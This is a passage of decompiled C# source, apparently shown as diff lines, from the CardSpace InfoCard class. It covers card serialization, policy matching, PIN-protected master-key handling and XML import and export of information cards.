this.GetPrivateKeyPairRsaProvider(recipientIdentifier); - keyPairRsaProvider.ImportCspBlob(keyPairRsaProvider.ExportCspBlob(false)); - InfoCardTrace.Assert(keyPairRsaProvider.PublicOnly, "GetPublicCryptography returns a public only rsa"); - return keyPairRsaProvider; - } - - private void Serialize(Stream stream) - { - this.ThrowIfNotComplete(); - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - writer.Write((byte) 1); - writer.Write(this.m_expiresOn.ToFileTimeUtc()); - writer.Write(this.m_epoch); - Utility.SerializeUri(writer, this.m_id); - writer.Write(this.m_issuedOn.ToFileTimeUtc()); - writer.Write(this.m_isImported); - writer.Write(this.m_installedOn.ToFileTimeUtc()); - writer.Write(this.m_isSelfIssued); - Utility.SerializeUri(writer, this.m_issuer); - Utility.SerializeString(writer, this.m_issuerName); - Utility.SerializeBytes(writer, this.m_issuerIdentifierAsBytes); - Utility.SerializeString(writer, this.m_language); - Utility.SerializeBytes(writer, this.m_logo); - Utility.SerializeString(writer, this.m_mimeType); - Utility.SerializeString(writer, this.m_name); - writer.Write(this.m_lastUpdate.ToFileTimeUtc()); - writer.Write(this.m_backgroundColor); - writer.Write((byte) this.m_requireAppliesTo); - Utility.SerializeString(writer, this.m_privacyPolicyLink); - writer.Write(this.m_privacyPolicyVersion); - Utility.SerializeBytes(writer, this.m_pinHash); - Utility.SerializeBytes(writer, this.m_salt); - writer.Write(this.m_tokenTypes.Length); - for (int index = 0; index < this.m_tokenTypes.Length; ++index) - Utility.SerializeString(writer, this.m_tokenTypes[index]); - writer.Write(this.m_creationParameters == null ? 0 : this.m_creationParameters.Count); - if (this.m_creationParameters != null) - { - for (int index = 0; index < this.m_creationParameters.Count; ++index) - this.m_creationParameters[index].Serialize(writer); - } - Utility.SerializeString(writer, string.Empty); - Utility.SerializeString(writer, string.Empty); - writer.Write((byte) this.m_pinAction); - writer.Write((byte) 29); - } - - public void AgentSerialize( - Stream stream, - bool initCalcAttributesForGetToken, - InfoCardPolicy policy, - StoreConnection storeConnection, - CultureInfo userCulture) - { - this.Serialize(stream); - this.m_storeConnection = storeConnection; - this.GetRPIdentityRequirement().Serialize(stream); - this.GetExtendedInformation().Serialize(stream); - InfoCard.GetIssuerInformation(this.GetExtendedInformation().GetIssuerInformationElement()).Serialize(stream); - InfoCardClaimCollection claims = this.GetClaims(); - if (policy != null && this.IsSelfIssued) - { - CultureInfo currentUiCulture = Thread.CurrentThread.CurrentUICulture; - try - { - Thread.CurrentThread.CurrentUICulture = userCulture; - string ppid = Utility.CreatePpid(Convert.FromBase64String(policy.ImmediateTokenRecipient.GetOrganizationPPIDIdentifier()), this.m_id); - claims.Add(new InfoCardClaim(InfoCardConstants.PPIDClaimsUri, ppid, InfoCardConstants.ClaimsDescription(InfoCardConstants.PPID), InfoCardConstants.ClaimDisplayTag(InfoCardConstants.PPID))); - } - finally - { - Thread.CurrentThread.CurrentUICulture = currentUiCulture; - } - } - claims.AgentSerialize(stream); - BinaryWriter binaryWriter = new BinaryWriter(stream, Encoding.Unicode); - if (initCalcAttributesForGetToken) - { - binaryWriter.Write(this.DoesCardMatchPolicySet(policy)); - binaryWriter.Write(this.CardMatchesPolicyRequiredIssuer(policy)); - binaryWriter.Write(this.HasCardBeenUsedBefore(policy.Recipient.GetIdentifier(), storeConnection)); - binaryWriter.Write(this.HaveRequestedClaimsChanged(policy, storeConnection)); - binaryWriter.Write(this.WillSendAppliesToInRst(policy)); - binaryWriter.Write(this.DoesCardSupportAnyOptionalClaims(policy)); - binaryWriter.Write(this.DoesCardMatchNonClaimPolicyRequirements(policy)); - } - else - { - binaryWriter.Write(false); - binaryWriter.Write(false); - binaryWriter.Write(false); - binaryWriter.Write(false); - binaryWriter.Write(false); - binaryWriter.Write(false); - binaryWriter.Write(false); - } - binaryWriter.Flush(); - } - - public void CopyMetaData(InfoCard card) - { - this.m_salt = new byte[card.HashSalt.Length]; - Array.Copy((Array) card.HashSalt, 0, (Array) this.m_salt, 0, card.HashSalt.Length); - this.m_pinHash = new byte[card.m_pinHash.Length]; - Array.Copy((Array) card.m_pinHash, 0, (Array) this.m_pinHash, 0, card.m_pinHash.Length); - } - - private bool DoesCardSupportAnyOptionalClaims(InfoCardPolicy policy) - { - List stringList = new List((IEnumerable) policy.OptionalClaims); - foreach (string key in this.GetClaims().Keys) - { - if (stringList.Contains(key)) - return true; - } - return false; - } - - private bool WillSendAppliesToInRst(InfoCardPolicy policy) - { - AppliesToBehaviorDecision decisionForPolicyMatch = AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecisionForPolicyMatch(policy, this.RequireAppliesto); - return AppliesToBehaviorDecision.SendCustomAppliesTo == decisionForPolicyMatch || AppliesToBehaviorDecision.SendRPAppliesTo == decisionForPolicyMatch; - } - - private void Deserialize(Stream stream) - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - this.m_expiresOn = (byte) 1 == reader.ReadByte() ? DateTime.FromFileTimeUtc(reader.ReadInt64()) : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException("ServiceCardWrongVersion")); - this.m_epoch = reader.ReadUInt32(); - this.m_id = new Uri(Utility.DeserializeString(reader)); - this.m_issuedOn = DateTime.FromFileTimeUtc(reader.ReadInt64()); - this.m_isImported = reader.ReadBoolean(); - this.m_installedOn = DateTime.FromFileTimeUtc(reader.ReadInt64()); - this.m_isSelfIssued = reader.ReadBoolean(); - this.m_issuer = Utility.DeserializeUri(reader); - this.m_issuerName = Utility.DeserializeString(reader); - int count1 = reader.ReadInt32(); - this.m_issuerIdentifierAsBytes = reader.ReadBytes(count1); - this.m_language = Utility.DeserializeString(reader); - int count2 = reader.ReadInt32(); - InfoCardTrace.Assert((0 > count2 ? 0 : (count2 < 1048576 ? 1 : 0)) != 0, "logo length out of range {0}", (object) count2); - this.m_logo = reader.ReadBytes(count2); - this.m_mimeType = Utility.DeserializeString(reader); - this.m_name = Utility.DeserializeString(reader); - this.m_lastUpdate = DateTime.FromFileTimeUtc(reader.ReadInt64()); - this.m_backgroundColor = reader.ReadInt32(); - this.m_requireAppliesTo = (RequireAppliesToStatus) reader.ReadByte(); - this.m_privacyPolicyLink = Utility.DeserializeString(reader); - this.m_privacyPolicyVersion = reader.ReadUInt32(); - int count3 = reader.ReadInt32(); - InfoCardTrace.Assert((0 > count3 ? 0 : (count3 < 1024 ? 1 : 0)) != 0, "pin hash out fo range {0}", (object) count3); - this.m_pinHash = reader.ReadBytes(count3); - int count4 = reader.ReadInt32(); - InfoCardTrace.Assert((0 > count4 ? 0 : (count4 < 1024 ? 1 : 0)) != 0, "salt length out of range {0}", (object) count4); - this.m_salt = reader.ReadBytes(count4); - int length = reader.ReadInt32(); - InfoCardTrace.Assert(32 > length, "too many token types"); - this.m_tokenTypes = new string[length]; - for (int index = 0; index < length; ++index) - this.m_tokenTypes[index] = Utility.DeserializeString(reader); - int num = reader.ReadInt32(); - InfoCardTrace.Assert((0 > num ? 0 : (num < 128 ? 1 : 0)) != 0, "creation parametes out of range {0}", (object) num); - for (int index = 0; index < num; ++index) - { - TokenCreationParameter creationParameter = new TokenCreationParameter(); - creationParameter.Deserialize(reader); - this.CreationParameters.Add(creationParameter); - } - this.m_pin = Utility.DeserializeString(reader); - this.m_oldPin = Utility.DeserializeString(reader); - this.m_pinAction = (InfoCard.PinAction) reader.ReadByte(); - if ((byte) 29 != reader.ReadByte()) - InfoCardTrace.Assert(false, "malformed stream detected"); - this.ThrowIfNotComplete(); - } - - public Dictionary GetClaimsToBeDisclosed( - InfoCardPolicy policy, - bool discloseOptional) - { - Dictionary claimsToBeDisclosed = new Dictionary(policy.RequiredClaims.Length); - for (int index = 0; index < policy.RequiredClaims.Length; ++index) - claimsToBeDisclosed.Add(policy.RequiredClaims[index], false); - if (discloseOptional) - { - for (int index = 0; index < policy.OptionalClaims.Length; ++index) - { - string optionalClaim = policy.OptionalClaims[index]; - if (this.GetClaims().ContainsKey(optionalClaim)) - claimsToBeDisclosed.Add(policy.OptionalClaims[index], true); - } - } - return claimsToBeDisclosed; - } - - public bool DoesCardMatchPolicySet(InfoCardPolicy policy) - { - InfoCardTrace.Assert(null != policy, "null policy"); - bool flag = true; - List stringList = new List((IEnumerable) this.SupportedClaimTypes); - if (policy.RequiredClaims != null) - { - foreach (string requiredClaim in policy.RequiredClaims) - { - if (!stringList.Contains(requiredClaim) && (!this.IsSelfIssued || !(InfoCardConstants.PPIDClaimsUri == requiredClaim))) - { - flag = false; - break; - } - } - } - return flag && this.DoesCardMatchNonClaimPolicyRequirements(policy); - } - - public bool DoesCardMatchNonClaimPolicyRequirements(InfoCardPolicy policy) - { - InfoCardTrace.Assert(null != policy, "null policy"); - bool flag1 = true; - if (!this.IsSelfIssued && AppliesToBehaviorDecision.FailMatch == AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecisionForPolicyMatch(policy, this.RequireAppliesto)) - flag1 = false; - bool flag2 = true; - if (this.GetRPIdentityRequirement().StrongIdentityRequired && !(policy.ImmediateTokenRecipient is X509RecipientIdentity)) - flag2 = false; - return (!this.IsSelfIssued || !policy.RequiresManagedCard) && this.CardMatchesPolicyTokenType(policy) && this.CardMatchesPolicyRequiredIssuer(policy) && flag1 && flag2; - } - - public bool HaveRequestedClaimsChanged(InfoCardPolicy policy, StoreConnection connection) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "Null id"); - InfoCardTrace.Assert(null != policy, "null policy"); - InfoCardTrace.Assert(null != connection, "null connection"); - LedgerEntry ledgerEntry = this.TryGetLedgerEntry(connection, policy.Recipient.GetIdentifier()); - if (ledgerEntry == null) - return true; - IList list = (IList) (ledgerEntry.DisclosedClaims ?? new string[0]); - int num1 = 0; - if (policy.RequiredClaims != null) - num1 = policy.RequiredClaims.Length; - if (num1 > list.Count) - return true; - bool flag = true; - foreach (string requiredClaim in policy.RequiredClaims) - { - if (!list.Contains((object) requiredClaim)) - { - flag = false; - break; - } - } - int num2 = flag ? 1 : 0; - return !flag; - } - - private bool CardMatchesPolicyTokenType(InfoCardPolicy policy) - { - if (string.IsNullOrEmpty(policy.OptionalRstParams.TokenType)) - return true; - foreach (string tokenType in this.m_tokenTypes) - { - if (tokenType == policy.OptionalRstParams.TokenType) - return true; - } - return false; - } - - private bool CardMatchesPolicyRequiredIssuer(InfoCardPolicy policy) => (EndpointAddress) null == policy.Issuer || (Uri) null == policy.Issuer.Uri || Utility.CompareUri(policy.Issuer.Uri, XmlNames.WSIdentity.AnonymousIssuerUriValue) || this.m_isSelfIssued && Utility.CompareUri(policy.Issuer.Uri, XmlNames.WSIdentity.SelfIssuerUriValue) || !this.m_isSelfIssued && Utility.CompareUri(policy.Issuer.Uri, this.m_issuer); - - public bool HasCardBeenUsedBefore(string recipientId, StoreConnection connection) => null != connection.GetSingleRow(QueryDetails.Identifiers, new QueryParameter("ix_objecttype", new object[1] - { - (object) -1 - }), new QueryParameter("ix_name", new object[1] - { - (object) recipientId - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_id.ToString()) - })); - - public void Get(StoreConnection con) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "null id"); - InfoCardTrace.Assert(null != con, "null connection"); - this.m_storeConnection = con; - DataRow row = this.GetRow(con, QueryDetails.FullRow); - this.Deserialize((Stream) new MemoryStream(row.GetDataField())); - this.m_rowId = row.LocalId; - } - - public void Save(StoreConnection con) - { - this.ThrowIfNotComplete(); - InfoCardTrace.Assert(null != con, "null connection"); - DataRow row = this.TryGetRow(con, QueryDetails.FullHeader); - bool flag = false; - if (row == null) - { - if (this.m_masterKey == null) - this.m_masterKey = InfoCardMasterKey.NewMasterKey(this.m_id); - flag = true; - row = new DataRow(); - row.ObjectType = 1; - row.GlobalId = GlobalId.DeriveFrom(this.m_id.ToString()); - } - InfoCardClaimCollection cardClaimCollection = (InfoCardClaimCollection) null; - switch (this.m_pinAction) - { - case InfoCard.PinAction.PinSame: - cardClaimCollection = this.m_claims.Clone(); - this.GetMasterKey(con); - this.m_claims.Encrypt(this.m_masterKey.GetPinHelper(this.m_pin)); - break; - case InfoCard.PinAction.PinAdded: - cardClaimCollection = this.m_claims.Clone(); - this.GetMasterKey(con); - PinProtectionHelper pinHelper1 = new PinProtectionHelper(this.m_pin); - this.m_masterKey.Encrypt(pinHelper1); - this.m_claims.Encrypt(pinHelper1); - flag = true; - break; - case InfoCard.PinAction.PinRemoved: - this.GetMasterKey(con); - this.m_masterKey.Decrypt(this.m_masterKey.GetPinHelper(this.m_oldPin)); - flag = true; - break; - case InfoCard.PinAction.PinChanged: - cardClaimCollection = this.m_claims.Clone(); - this.GetMasterKey(con); - this.m_masterKey.Decrypt(this.m_masterKey.GetPinHelper(this.m_oldPin)); - PinProtectionHelper pinHelper2 = new PinProtectionHelper(this.m_pin); - this.m_masterKey.Encrypt(pinHelper2); - this.m_claims.Encrypt(pinHelper2); - flag = true; - break; - } - if (flag) - this.m_masterKey.Save(con); - this.m_pinAction = this.IsPinProtected ? InfoCard.PinAction.PinSame : InfoCard.PinAction.NoPin; - string[] strArray; - if (this.IsSelfIssued) - { - strArray = new string[1] - { - "http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self" - }; - } - else - { - strArray = new string[this.CreationParameters.Count]; - int num = 0; - foreach (TokenCreationParameter creationParameter in this.CreationParameters) - strArray[num++] = creationParameter.Epr.Uri.ToString(); - } - row.SetIndexValue("ix_production_svc_uri", (object[]) strArray); - InfoCardTrace.Assert(null != this.m_claims, "Must already be initialized at this point"); - row.SetIndexValue("ix_supportclaim", (object[]) this.SupportedClaimTypes); - if (this.CreationParameters.Count > 0) - { - object[] objArray = new object[this.CreationParameters.Count]; - int num = 0; - foreach (TokenCreationParameter creationParameter in this.CreationParameters) - objArray[num++] = (object) (int) creationParameter.CredentialType; - row.SetIndexValue("ix_supportauth", objArray); - } - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - this.m_rowId = row.LocalId; - if (this.m_extendedInformation != null) - this.m_extendedInformation.Save(con); - this.m_claims.Save(con, this.m_isSelfIssued); - if (cardClaimCollection != null) - this.m_claims = cardClaimCollection; - this.GetRPIdentityRequirement().Save(con); - } - - public override string ToString() => base.ToString(); - - public static InfoCard NewCard(CultureInfo userCulture) - { - InfoCard infoCard = new InfoCard(); - infoCard.m_expiresOn = DateTime.MaxValue; - infoCard.m_epoch = 1U; - infoCard.m_id = new Uri("urn:uuid:" + Guid.NewGuid().ToString()); - infoCard.m_issuedOn = DateTime.UtcNow; - infoCard.m_isImported = false; - infoCard.m_installedOn = DateTime.UtcNow; - infoCard.m_isSelfIssued = true; - infoCard.m_issuerName = SR.GetString("SelfIssuedIssuerName"); - infoCard.m_issuer = XmlNames.WSIdentity.SelfIssuerUriValue; - infoCard.m_language = userCulture.TwoLetterISOLanguageName; - infoCard.m_logo = new byte[0]; - infoCard.m_name = (string) null; - infoCard.m_lastUpdate = DateTime.UtcNow; - infoCard.m_backgroundColor = 16777215; - infoCard.m_requireAppliesTo = RequireAppliesToStatus.NotPresent; - infoCard.m_salt = InfoCard.GenerateSalt(); - infoCard.m_tokenTypes = new string[2] - { - "urn:oasis:names:tc:SAML:1.0:assertion", - "http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1" - }; - CultureInfo currentUiCulture = Thread.CurrentThread.CurrentUICulture; - try - { - Thread.CurrentThread.CurrentUICulture = userCulture; - for (int index = 0; index < InfoCardConstants.SelfIssuedClaimsUris.Length; ++index) - { - InfoCardClaim claim = new InfoCardClaim(InfoCardConstants.SelfIssuedClaimsUris[index], (string) null, InfoCardConstants.ClaimsDescription(InfoCardConstants.SelfIssuedClaimsUris[index]), InfoCardConstants.ClaimDisplayTag(InfoCardConstants.SelfIssuedClaimsUris[index])); - infoCard.AddClaim(claim); - } - } - finally - { - Thread.CurrentThread.CurrentUICulture = currentUiCulture; - } - InfoCardTrace.Assert(null == infoCard.m_masterKey, "Card key is only populated during save"); - return infoCard; - } - - protected DataRow GetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert(null != con, " null connection"); - DataRow row = this.TryGetRow(con, details); - InfoCardTrace.Assert(null != row, "null row"); - InfoCardTrace.Assert((1 == row.ObjectType ? 1 : 0) != 0, "Attempt to deserialize an incorrect object type {0}", (object) row.ObjectType); - return row; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_id, "null id"); - InfoCardTrace.Assert(null != con, "null connection"); - return con.GetSingleRow(details, new QueryParameter("ix_globalid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_id.ToString()) - })); - } - - public void ReadXml(XmlReader reader) - { - if ("RoamingInformationCard" == reader.LocalName) - this.ReadRoamingInfoCard(reader); - else if ("InformationCard" == reader.LocalName) - this.ReadImportedInfoCard(reader); - else - InfoCardTrace.Assert(false, "Invalid element found. Did schema validation fail? Found {0}", (object) reader.LocalName); - } - - public System.Xml.Schema.XmlSchema GetSchema() => (System.Xml.Schema.XmlSchema) null; - - public void WriteXml(XmlWriter writer) - { - this.ThrowIfNotComplete(); - writer.WriteStartElement("RoamingInformationCard", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteStartElement("InformationCardMetaData", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteAttributeString("lang", "http://www.w3.org/XML/1998/namespace", this.m_language); - writer.WriteStartElement("InformationCardReference", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteStartElement("CardId", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.m_id.AbsoluteUri); - writer.WriteEndElement(); - writer.WriteStartElement("CardVersion", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.m_epoch.ToString((IFormatProvider) CultureInfo.InvariantCulture)); - writer.WriteEndElement(); - writer.WriteEndElement(); - if (!string.IsNullOrEmpty(this.m_name)) - { - writer.WriteStartElement("CardName", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.m_name); - writer.WriteEndElement(); - } - if (this.m_logo != null && this.m_logo.Length != 0) - { - writer.WriteStartElement("CardImage", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (!string.IsNullOrEmpty(this.m_mimeType)) - writer.WriteAttributeString("MimeType", this.m_mimeType); - string base64String = Convert.ToBase64String(this.m_logo); - writer.WriteString(base64String); - writer.WriteEndElement(); - } - writer.WriteStartElement("Issuer", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if ((Uri) null != this.m_issuer) - writer.WriteString(this.m_issuer.AbsoluteUri); - writer.WriteEndElement(); - writer.WriteStartElement("TimeIssued", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(XmlConvert.ToString(this.m_issuedOn, XmlDateTimeSerializationMode.Utc)); - writer.WriteEndElement(); - writer.WriteStartElement("TimeExpires", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(XmlConvert.ToString(this.m_expiresOn, XmlDateTimeSerializationMode.Utc)); - writer.WriteEndElement(); - if (this.m_creationParameters != null) - { - writer.WriteStartElement("TokenServiceList", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - foreach (TokenCreationParameter creationParameter in this.m_creationParameters) - creationParameter.WriteXml(writer); - writer.WriteEndElement(); - } - writer.WriteStartElement("SupportedTokenTypeList", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - foreach (string tokenType in this.m_tokenTypes) - writer.WriteElementString("TokenType", "http://schemas.xmlsoap.org/ws/2005/02/trust", tokenType); - writer.WriteEndElement(); - writer.WriteStartElement("SupportedClaimTypeList", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - foreach (string key in this.GetClaims().Keys) - { - InfoCardClaim claim = this.GetClaims()[key]; - if (!this.m_isSelfIssued || !Utility.CompareUri(claim.Id, InfoCardConstants.PPIDClaimsUri)) - { - writer.WriteStartElement("SupportedClaimType", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteAttributeString("Uri", claim.Id); - if (!string.IsNullOrEmpty(claim.DisplayTag)) - writer.WriteElementString("DisplayTag", "http://schemas.xmlsoap.org/ws/2005/05/identity", claim.DisplayTag); - if (!string.IsNullOrEmpty(claim.Description)) - writer.WriteElementString("Description", "http://schemas.xmlsoap.org/ws/2005/05/identity", claim.Description); - writer.WriteEndElement(); - } - } - writer.WriteEndElement(); - if (this.m_requireAppliesTo != RequireAppliesToStatus.NotPresent) - { - writer.WriteStartElement("RequireAppliesTo", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (RequireAppliesToStatus.Optional == this.m_requireAppliesTo) - writer.WriteAttributeString("Optional", "true"); - writer.WriteEndElement(); - } - if (!string.IsNullOrEmpty(this.m_privacyPolicyLink)) - { - writer.WriteStartElement("PrivacyNotice", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (0U < this.m_privacyPolicyVersion) - writer.WriteAttributeString("Version", this.m_privacyPolicyVersion.ToString((IFormatProvider) CultureInfo.InvariantCulture)); - writer.WriteString(this.m_privacyPolicyLink); - writer.WriteEndElement(); - } - if (this.GetRPIdentityRequirement().StrongIdentityRequired) - { - writer.WriteStartElement("RequireStrongRecipientIdentity", "http://schemas.xmlsoap.org/ws/2007/01/identity"); - writer.WriteEndElement(); - } - if (this.GetExtendedInformation() != null) - { - foreach (InfocardExtendedInformationEntry informationEntry in (List) this.m_extendedInformation) - informationEntry.WriteXml(writer); - } - writer.WriteStartElement("IsSelfIssued", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(XmlConvert.ToString(this.m_isSelfIssued)); - writer.WriteEndElement(); - if (!Utility.ArrayIsNullOrEmpty((Array) this.m_pinHash)) - { - writer.WriteStartElement("PinDigest", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(Convert.ToBase64String(this.m_pinHash)); - writer.WriteEndElement(); - } - writer.WriteStartElement("HashSalt", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(Convert.ToBase64String(this.m_salt)); - writer.WriteEndElement(); - writer.WriteStartElement("TimeLastUpdated", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(XmlConvert.ToString(this.m_lastUpdate, XmlDateTimeSerializationMode.Utc)); - writer.WriteEndElement(); - writer.WriteStartElement("IssuerId", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (this.m_issuerIdentifierAsBytes != null) - writer.WriteString(Convert.ToBase64String(this.m_issuerIdentifierAsBytes, Base64FormattingOptions.None)); - writer.WriteEndElement(); - writer.WriteStartElement("IssuerName", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (!string.IsNullOrEmpty(this.m_issuerName)) - writer.WriteString(this.m_issuerName); - writer.WriteEndElement(); - writer.WriteStartElement("BackgroundColor", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(XmlConvert.ToString(this.m_backgroundColor)); - writer.WriteEndElement(); - writer.WriteEndElement(); - writer.WriteStartElement("InformationCardPrivateData", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - InfoCardTrace.Assert(null != this.m_masterKey, "Masterkey Cannot be null when trying to export a card"); - writer.WriteStartElement("MasterKey", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(Convert.ToBase64String(this.m_masterKey.Key)); - writer.WriteEndElement(); - if (this.IsSelfIssued) - { - writer.WriteStartElement("ClaimValueList", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - foreach (string key in this.GetClaims().Keys) - { - InfoCardClaim claim = this.GetClaims()[key]; - if (!Utility.CompareUri(claim.Id, InfoCardConstants.PPIDClaimsUri)) - { - writer.WriteStartElement("ClaimValue", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteAttributeString("Uri", claim.Id); - if (!string.IsNullOrEmpty(claim.Value)) - writer.WriteElementString("Value", "http://schemas.xmlsoap.org/ws/2005/05/identity", claim.Value); - else - writer.WriteElementString("Value", "http://schemas.xmlsoap.org/ws/2005/05/identity", string.Empty); - writer.WriteEndElement(); - } - } - writer.WriteEndElement(); - } - writer.WriteEndElement(); - writer.WriteEndElement(); - } - - private void ReadImportedInfoCard(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - this.Language = reader.IsStartElement("InformationCard", "http://schemas.xmlsoap.org/ws/2005/05/identity") ? reader.GetAttribute("lang", "http://www.w3.org/XML/1998/namespace") : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - if (string.IsNullOrEmpty(this.Language)) - this.Language = reader.GetAttribute("lang"); - reader.ReadStartElement(); - this.ReadBaseInfoCard(reader); - if (!this.IsSelfIssued && Utility.CompareUri(this.m_issuer, XmlNames.WSIdentity.SelfIssuerUriValue)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("SelfIssuedUriUsed"))); - if (this.m_extendedInformation != null) - return; - this.m_extendedInformation = new InfocardExtendedInformationCollection(this.m_id); - } - - private void ReadRoamingInfoCard(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("RoamingInformationCard", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - reader.ReadStartElement(); - this.Language = reader.GetAttribute("lang", "http://www.w3.org/XML/1998/namespace"); - if (string.IsNullOrEmpty(this.Language)) - this.Language = reader.GetAttribute("lang"); - this.ReadBaseInfoCard(reader); - if (this.m_isSelfIssued && this.GetClaims().ContainsKey(InfoCardConstants.PPIDClaimsUri)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - this.ReadInfoCardPrivateData(reader); - } - - private void ReadInfoCardPrivateData(XmlReader reader) - { - while (reader.Read()) - { - switch (reader.LocalName) - { - case "RoamingInformationCard": - if (XmlNodeType.EndElement == reader.NodeType) - return; - continue; - case "MasterKey": - byte[] array = Utility.ReadByteStreamFromBase64(reader).ToArray(); - if (this.IsPinProtected) - { - if (array == null || PinProtectionHelper.EncryptedMasterKeySize != array.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - this.m_masterKey = new InfoCardMasterKey(this.m_id, array); - continue; - } - this.m_masterKey = array != null && 32 == array.Length ? new InfoCardMasterKey(this.m_id, array) : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - continue; - case "ClaimValueList": - this.ReadClaimValues(reader); - continue; - default: - continue; - } - } - } - - private void ReadBaseInfoCard(XmlReader reader) - { - try - { - while (reader.Read()) - { - if ("http://schemas.xmlsoap.org/ws/2005/05/identity" == reader.NamespaceURI && XmlNodeType.EndElement == reader.NodeType && ("InformationCard" == reader.LocalName || "InformationCardMetaData" == reader.LocalName)) - { - reader.ReadEndElement(); - break; - } - if ("http://schemas.xmlsoap.org/ws/2005/05/identity" != reader.NamespaceURI && XmlNodeType.Element == reader.NodeType) - { - if ("http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI && "IssuerInformation" == reader.LocalName) - { - if (this.m_readIssuerInformation) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("MultipleIssuerInformation"))); - InfocardExtendedInformationEntry informationEntry = new InfocardExtendedInformationEntry(); - informationEntry.ReadXml(reader); - if (this.m_extendedInformation == null) - this.m_extendedInformation = new InfocardExtendedInformationCollection(this.m_id); - this.m_extendedInformation.Add(informationEntry); - this.m_readIssuerInformation = true; - continue; - } - new InfocardExtendedInformationEntry().ReadXml(reader); - } - if ("http://schemas.xmlsoap.org/ws/2005/05/identity" == reader.NamespaceURI && XmlNodeType.EndElement != reader.NodeType) - { - switch (reader.LocalName) - { - case "CardId": - this.Id = new Uri(reader.ReadString().Trim()); - continue; - case "CardVersion": - this.Epoch = Convert.ToUInt32(reader.ReadString().Trim(), (IFormatProvider) CultureInfo.InvariantCulture); - continue; - case "CardImage": - this.LogoMimeType = reader.GetAttribute("MimeType", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (string.IsNullOrEmpty(this.LogoMimeType)) - this.LogoMimeType = reader.GetAttribute("MimeType"); - this.Logo = Utility.ReadByteStreamFromBase64(reader).ToArray(); - continue; - case "CardName": - this.Name = reader.ReadString().Trim(); - continue; - case "IssuerName": - this.IssuerName = reader.ReadString().Trim(); - continue; - case "Issuer": - this.Issuer = new Uri(reader.ReadString().Trim()); - continue; - case "TimeExpires": - this.ExpiresOn = XmlConvert.ToDateTime(reader.ReadString().Trim(), XmlDateTimeSerializationMode.Utc); - continue; - case "TimeIssued": - this.IssuedOn = XmlConvert.ToDateTime(reader.ReadString().Trim(), XmlDateTimeSerializationMode.Utc); - continue; - case "SupportedClaimTypeList": - this.ReadClaims(reader); - continue; - case "SupportedTokenTypeList": - this.TokenTypes = this.ReadTokenType(reader).ToArray(); - continue; - case "RequireAppliesTo": - string attribute = reader.GetAttribute("Optional", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (string.IsNullOrEmpty(attribute)) - attribute = reader.GetAttribute("Optional"); - this.RequireAppliesto = string.IsNullOrEmpty(attribute) || !("true" == attribute) && !("1" == attribute) ? RequireAppliesToStatus.Required : RequireAppliesToStatus.Optional; - continue; - case "TokenServiceList": - this.ReadAuthServices(reader); - continue; - case "PrivacyNotice": - this.ReadPrivacyPolicy(reader); - continue; - case "IsSelfIssued": - this.IsSelfIssued = Convert.ToBoolean(reader.ReadString().Trim(), 